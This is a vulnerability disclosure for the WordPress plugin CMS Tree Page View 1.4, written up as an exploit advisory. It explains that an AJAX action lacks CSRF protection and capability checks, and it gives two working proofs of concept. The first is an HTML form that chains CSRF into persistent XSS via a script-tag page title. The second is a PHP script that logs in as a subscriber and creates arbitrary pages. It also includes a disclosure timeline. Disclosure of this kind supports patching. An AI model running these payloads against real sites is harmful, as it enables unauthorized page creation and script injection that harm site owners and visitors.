WordPress Plugin CMS Tree Page View 1.4 - Cross-Site Request Forgery / Privilege Escalation

* Exploit Title: CMS Tree Page View [CSRF, Privilege Escalation]
* Discovery Date: 2017-12-12
* Exploit Author: Panagiotis Vagenas
* Author Link: https://twitter.com/panVagenas
* Vendor Homepage: http://eskapism.se/
* Software Link: https://wordpress.org/plugins/cms-tree-page-view
* Version: 1.4
* Tested on: WordPress 4.8.1
* Category: WebApps, WordPress


Description
-----------

Plugin implements AJAX action `cms_tpv_add_page` which calls back the
function `cms_tpv_add_page`. The later does not implement any anti-CSRF
controls or security checks.

Leveraging a CSRF attack an attacker could perform a Persistent XSS
attack if the victim has administrative rights (see PoC).

The AJAX action is a privileged one so it's only available for
registered users. Even so it doesn't implement any capabilities checks
so it's available to all users no matter the access level. This could
allow any registered user to create arbitrary posts no matter the access
level.

PoC
---

### CSRF -> Persistent XSS

In this PoC we exploit the `$_POST["page_titles"]` param to perform a
Persistent XSS attack.

```
<pre class="lang:html decode:true "><form method="post" action="http://wp-plugin-csrf.dev/wp-admin/admin-ajax.php">
    <input type="hidden" name="action" value="cms_tpv_add_page">
    <input type="text" name="type" value="after">
    <input type="text" name="pageID" value="1">
    <input type="text" name="post_type" value="page">
    <input type="text" name="page_title" value="<script>alert(2)</script>">
    <button type="submit" value="Submit">Submit</button>
</form>

```

### Create Arbitrary Posts

In this PoC we use a user with subscriber access to create arbitrary
pages. The post\_type is user defined so in the same manner we could
create any post type.

```
#!/usr/bin/env php
<?php
/*******************************************************************************
 * CMS Tree Page View [Privilege Escalation]
 *
 * To install deps run `composer require wordfence/exkit`.
 *
 * @author Panagiotis Vagenas <[email protected]>
 * @date 2017-08-09
 ******************************************************************************/

require_once __DIR__ . '/vendor/autoload.php';

use Wordfence\ExKit\Cli;
use Wordfence\ExKit\Config;
use Wordfence\ExKit\Endpoint;
use Wordfence\ExKit\ExitCodes;
use Wordfence\ExKit\WPAuthentication;

Config::get( 'url.base', null, true, 'Enter the site URL' )
|| ExitCodes::exitWithFailedPrecondition( 'You must enter a valid URL' );

$s = new \Wordfence\ExKit\Session( null, [], [], [ 'timeout' => 60 ] );

Cli::writeInfo( 'Logging in as subscriber...' );

WPAuthentication::logInAsUserRole( $s,
WPAuthentication::USER_ROLE_SUBSCRIBER );

Cli::writeInfo( 'Sending payload...' );

$postData = [
    'action'      => 'cms_tpv_add_page',
    'type'        => 'after',
    'pageID'      => '1',
    'post_type'   => 'page',
    'page_title' => date('Y-m-d H:i:s'),
];

$r = $s->post( Endpoint::adminAjaxURL(), [], $postData);

if(!$r->success || $r->body == '0'){
    ExitCodes::exitWithFailed('Failed to retrieve a valid response');
}

ExitCodes::exitWithSuccess('Exploitation successful');

```

Timeline
--------

1. **2017-12-12**: Discovered
2. **2017-12-23**: Vendor notified by email
3. **2018-01-06**: Patch released